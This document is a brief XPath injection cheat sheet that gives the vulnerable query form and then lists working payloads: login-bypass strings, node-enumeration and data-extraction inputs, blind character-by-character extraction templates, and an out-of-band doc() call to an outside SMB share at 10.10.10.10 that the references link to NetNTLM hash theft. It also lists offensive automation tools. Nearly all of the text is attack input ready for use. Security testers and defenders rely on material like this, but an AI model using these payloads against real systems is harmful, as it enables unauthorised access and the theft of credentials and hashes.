

XPATH injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

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Exploitation

Similar to SQL : `"string(//user[name/text()=' " +vuln_var1+ "' and password/text()=' " +vuln_var1+ "']/account/text())"`

```
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
/*
*/
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*, '
search=Har') and contains(..password, 'c
search=Har') and starts-with(..password, 'c
```

Blind Exploitation

1. Size of a string

```
and string-length(account)=SIZE_INT
```

2. Extract a character

```
substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```

Out Of Band Exploitation

```
http://example.com/?title=Foundation&type=*&rent_days=* and  
doc('//10.10.10.10/SHARE')
```

Tools

- [xcat](#) - Automate XPath injection attacks to retrieve documents
- [xxxpwn](#) - Advanced XPath Injection Tool
- [xxxpwn_smart](#) - A fork of xxxpwn using predictive text
- [xpath-blind-explorer](#)
- [XmlChor](#) - Xpath injection exploitation tool

References

- [OWASP XPATH Injection](#)
- [Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017](#)